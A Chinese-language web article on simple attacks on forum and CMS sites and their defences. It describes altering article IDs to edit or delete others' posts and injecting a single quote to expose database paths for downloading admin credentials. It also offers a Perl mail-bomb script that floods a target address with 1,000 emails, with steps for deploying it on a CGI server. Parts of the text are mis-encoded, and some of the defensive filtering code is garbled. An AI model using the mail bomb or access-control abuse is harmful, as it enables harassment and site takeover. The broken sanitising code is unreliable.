最簡單的幾種攻擊和防范方法

時間:2015-06-02 18:21來源: 作者: 點擊: 載入中...
  本文介紹的攻擊方法是為后面專門介紹相關(guān)內(nèi)容做鋪墊,讀者在學(xué)習(xí)的時候應(yīng)該多了解一些有關(guān)Perl和網(wǎng)站的知識,如果可能,最好在自己的系統(tǒng)中安裝一套網(wǎng)站服務(wù)程序,然后尋找一些免費的Perl代碼進行調(diào)試、研究。  一、攻擊免費論壇:  這里介紹的攻擊非常簡單,它所達到的效果就是獲得論壇管理員密碼、具有修改論壇的權(quán)限等,所以并不設(shè)計漏洞掃描和清除痕跡等步驟。首先介紹一下問題的起源:在網(wǎng)絡(luò)上很多網(wǎng)站都提供了論壇或者電子留言版,這些服務(wù)大多數(shù)使用asp、php、cgi或者perl編寫完成,而對于這些免費的論壇代碼黑客也能夠獲得,因此只要經(jīng)過分析就可以找到“免費軟件中的缺陷”,進而對網(wǎng)站上提供的論壇進行攻擊。

  例如http://www.tougao.com/網(wǎng)站提供的“稿件管理系統(tǒng)”就存在一個很嚴重的問題(本人已經(jīng)和他們聯(lián)系并說明此漏洞、相關(guān)漏洞現(xiàn)已修復(fù)),讓我們看看通過瀏覽器訪問它的形式,當我們閱讀其中的稿件時,會發(fā)現(xiàn)在URL內(nèi)的地址是/list.asp?articleid=nnnn,顯然list.asp是顯示文章的程序,而后面的?articleid=nnnn則是它的參數(shù),nnnn是文章的編號。當黑客申請成為tougao網(wǎng)站的一員后,便擁有了上傳文章和修改、刪除自己發(fā)表文章的權(quán)利,修改文章使用editarticleself.asp?articleid=nnnn,其中的nnnn應(yīng)該是自己的文章代碼,但是如果黑客將文章代碼改變會怎么樣呢?

  修改了文章代碼后發(fā)現(xiàn),可以對其他文章進行修改!也就是說任何經(jīng)過免費注冊成為tougao網(wǎng)站的用戶都可以擁有修改任意文章的權(quán)利,同時使用delarticleself.asp則可以刪除任何文章! ∫淮喂セ鞴濤乙丫鶚鐾炅?,是不是窚\<虻ィ科涫迪裾庵治侍饌縞纖媧杉?,好好想一蠑n綣詎nnn的修改進行的更“不著邊際”,例如輸入幾個英文字母或者標點符號會出現(xiàn)什么情況?經(jīng)過嘗試發(fā)現(xiàn),當屬的數(shù)值為“單引號”是,系統(tǒng)會出現(xiàn)錯誤并報告數(shù)據(jù)庫文件的名稱、磁盤物理路徑等敏感信息,這樣就可以直接通過下載軟件將他們的數(shù)據(jù)庫下載到本地并從中找到管理員賬號。

  在早期的YukiBBS3000上,當注冊者的注冊信息內(nèi)包含單引號時,也會出現(xiàn)“程序運行錯誤”的提示,并且造成論壇的內(nèi)部數(shù)據(jù)錯誤,徹底終止論壇的正常運行?! 《⒎婪豆簦骸 ∠鄬碚f,網(wǎng)易、新浪等大型門戶網(wǎng)站在這方面做的比較好,他們對文章ID號進行了判斷,防止特殊字符的介入,如果使用者輸入了非法的字符,經(jīng)過檢測系統(tǒng)會提示輸入的ID號碼非法,并且拒絕接受請求,返回一個“輸入字符非法”的界面。

  另外對于文章的修改,他們也考慮的非常周到,在進行每一次文章修改的時候,系統(tǒng)都會檢測用戶身份,確定準備修改的文章是否屬于登陸身份,如果不屬于則會提出警告信息。而實際上,這種問題在早期他們的網(wǎng)站上也是存在的,只不過因管理員網(wǎng)絡(luò)安全意識比較強,因此即使的發(fā)現(xiàn)并修補了漏洞。

  cgi、perl等程序在設(shè)計的時候,必須考慮到各種可能出現(xiàn)的情況,例如對文件名的提交必須考慮周到,一個程序沒有考慮到的特殊名稱也許會對系統(tǒng)造成非常嚴重的后果,用戶輸入一個文件名,有可能就試圖打開輸入危險字符串!例如用戶輸入的文件名中包含路徑字符,如目錄斜杠和雙點!盡管你期望的是輸入公用的文件名(例如report.txt),但結(jié)果卻可能是/report.txt或//report.txt等等,系統(tǒng)中所有文件就有可能泄露出去,后果是可想而知的。

  設(shè)計cgi、perl程序,最好能夠在代碼中加入下面的非常字符檢測代碼:

  if(($file_name=——/[^a-zA-Z_\.]/) ?。?file_name=——/^\./))

  { #文件包含有不合法字符 }

 另外還要注意對大于號、小于號的判斷,因為這兩種符號是html文檔中 的屬性符號,不進行屏蔽會對論壇造成嚴重的后果,網(wǎng)絡(luò)上不是有很多“小兒科”的聊天室踢人術(shù)嗎?簡單的方式是不允許小于號和大于號的出現(xiàn),因為所有 HTML語法必須包含在這兩個字符間,如果程序檢測到它們就返回一個錯誤提示,下面一行Perl代碼快速地清除了這兩個字符:

  $user_input=~s/<>//g;

  當然還有比較好的選擇,就是將這兩個字符轉(zhuǎn)換成它們的HTML換碼(特殊的代碼),用于表示每個字符而不使用該字符本身。下面的代碼通過全部用<替換了小于符號,用>替換了大于符號,從而完成了轉(zhuǎn)換過程:  $user_input=~s//& gt;/g;  三、編寫簡單的郵件炸彈:   利用Perl程序可以非??焖俚木帉戉]件炸彈程序,這種方法比起直接使用別人編寫的郵件炸彈要好的多,至少學(xué)習(xí)者能夠真正“體會一下”什么才是黑客。有 關(guān)這個炸彈的編譯環(huán)境是具備一臺有CGI權(quán)限的網(wǎng)絡(luò)服務(wù)器,同時這臺服務(wù)器上提供了sendmail命令(當然這一切可以在自己的系統(tǒng)上進行設(shè)置),并且 學(xué)習(xí)著還要初步了解有關(guān)perl語言的知識。

  程序的原理非常簡單,就是利用sendmail命令向目標重復(fù)發(fā)送相同內(nèi)容的電子郵件,為了控制發(fā)送郵件的數(shù)量,我們聲明一個計數(shù)器變量,同時將程序用while()函數(shù)做循環(huán),下面我們看一下程序的源代碼:  #!/bin/perl

  $file='/user/lib/sendmail';

  $target='someone@target.com';

  $count=0;

  while($count<1000){

  open(MAIL,"/$file$target")    die" Can not open $file!\n

  print MAIL"哈哈,你被攻擊啦"

  close(MAIL);

  sleep 3;

  $count++;

  }

   看明白了嗎?程序就上面這點兒,是不是非常簡單?因為Perl屬于解釋型語言,因而不需要進行編譯,直接將源代碼上傳到服務(wù)器上,然后設(shè)置成為755或 者775型,就可以通過瀏覽器調(diào)用而直接使用了。程序中的$file和$target變量分別定義了sendmail命令的路徑和目標的地址,在使用此程 序以前要根據(jù)個人需要進行修改,而$count變量是我們要發(fā)送的炸彈郵件數(shù)量,因為發(fā)送郵件工作是服務(wù)器完成的,因而速度非??欤@個數(shù)量可以設(shè)置的大 一些,我們并不會感覺到程序的緩慢。

(責(zé)任編輯:鑫報)
>相關(guān)新聞
  • 愛嘮叨的媽媽
  • 這樣的藍天,你見過嗎?
  • 讓網(wǎng)絡(luò)失信者付出承受不起的代價
  • 人民日報:別讓網(wǎng)絡(luò)變“痰盂”
  • 網(wǎng)絡(luò)語言要查殺低俗的“毒”
  • 必須掌握的病毒知識
  • 頂一下
    (0)
    0%
    踩一下
    (0)
    0%
    ------分隔線----------------------------
    推薦內(nèi)容
    網(wǎng)站簡介??|? 保護隱私權(quán)??|? 免責(zé)條款??|? 廣告服務(wù)??|? About Big northwest network??|? 聯(lián)系我們??|? 版權(quán)聲明
    隴ICP備08000781號??Powered by 大西北網(wǎng)絡(luò) 版權(quán)所有??建議使用IE8.0以上版本瀏覽器瀏覽
    Copyright???2010-2014?Dxbei Corporation. All Rights Reserved